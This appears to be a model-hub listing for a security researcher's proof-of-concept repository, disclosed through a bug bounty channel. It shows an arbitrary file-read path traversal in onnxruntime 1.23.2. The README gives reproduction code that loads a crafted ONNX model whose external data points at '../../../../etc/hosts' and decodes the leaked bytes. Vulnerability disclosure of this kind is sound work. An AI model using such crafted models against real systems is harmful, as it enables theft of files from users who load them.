rez0/onnx-ort-path-traversal-poc
By rez0 · ↓ 0 · ♥ 0 · Updated 2026-02-23
What's in this repo
This page lists the files in rez0/onnx-ort-path-traversal-poc, including model.onnx.
- 1 ONNX models (.onnx files)
- 4 files, including 1 .md, 1 .onnx, 1 .py
- Last updated 2026-02-23
ONNX files
| File | Size | Download |
|---|---|---|
| model.onnx | — | Download |
How to use
These ONNX files can be loaded with ONNX Runtime. To inspect a model graph, upload the file to the Netron viewer. Download links point to the original files on Hugging Face.
README
ONNX ORT Path Traversal PoC
Security Research - Responsible Disclosure via huntr
Vulnerability
onnxruntime 1.23.2 (latest PyPI release) loads ONNX models with path traversal
in external_data location fields without validation. The ONNX checker blocks
this, but onnxruntime does NOT call the checker before loading.
Impact: Arbitrary file read on the victim's filesystem.
Reproduction
# pip install onnxruntime==1.23.2 onnx numpy
python poc_ort_file_read.py
# Or manually:
import onnxruntime as ort
import numpy as np
# model.onnx has external_data location = "../../../../etc/hosts"
sess = ort.InferenceSession("model.onnx") # No validation!
result = sess.run(None, {"X": np.zeros((1, 4), dtype=np.float32)})
# result[0] contains bytes from /etc/hosts reinterpreted as float32
raw = result[0].tobytes()
print(raw.decode('utf-8', errors='replace'))
Root Cause
onnx.checker.check_model()validates paths (blocks../)ort.InferenceSession()never calls the checker- ORT's
GetExternalDataInfo()joins path without traversal check - Fix PR #26776 merged Dec 2025 but NOT in any PyPI release
Model info
Created: 2026-02-23
Updated: 2026-02-23
View on Hugging FaceFiles (4)
Related models
More from rez0
More models
No task type declared.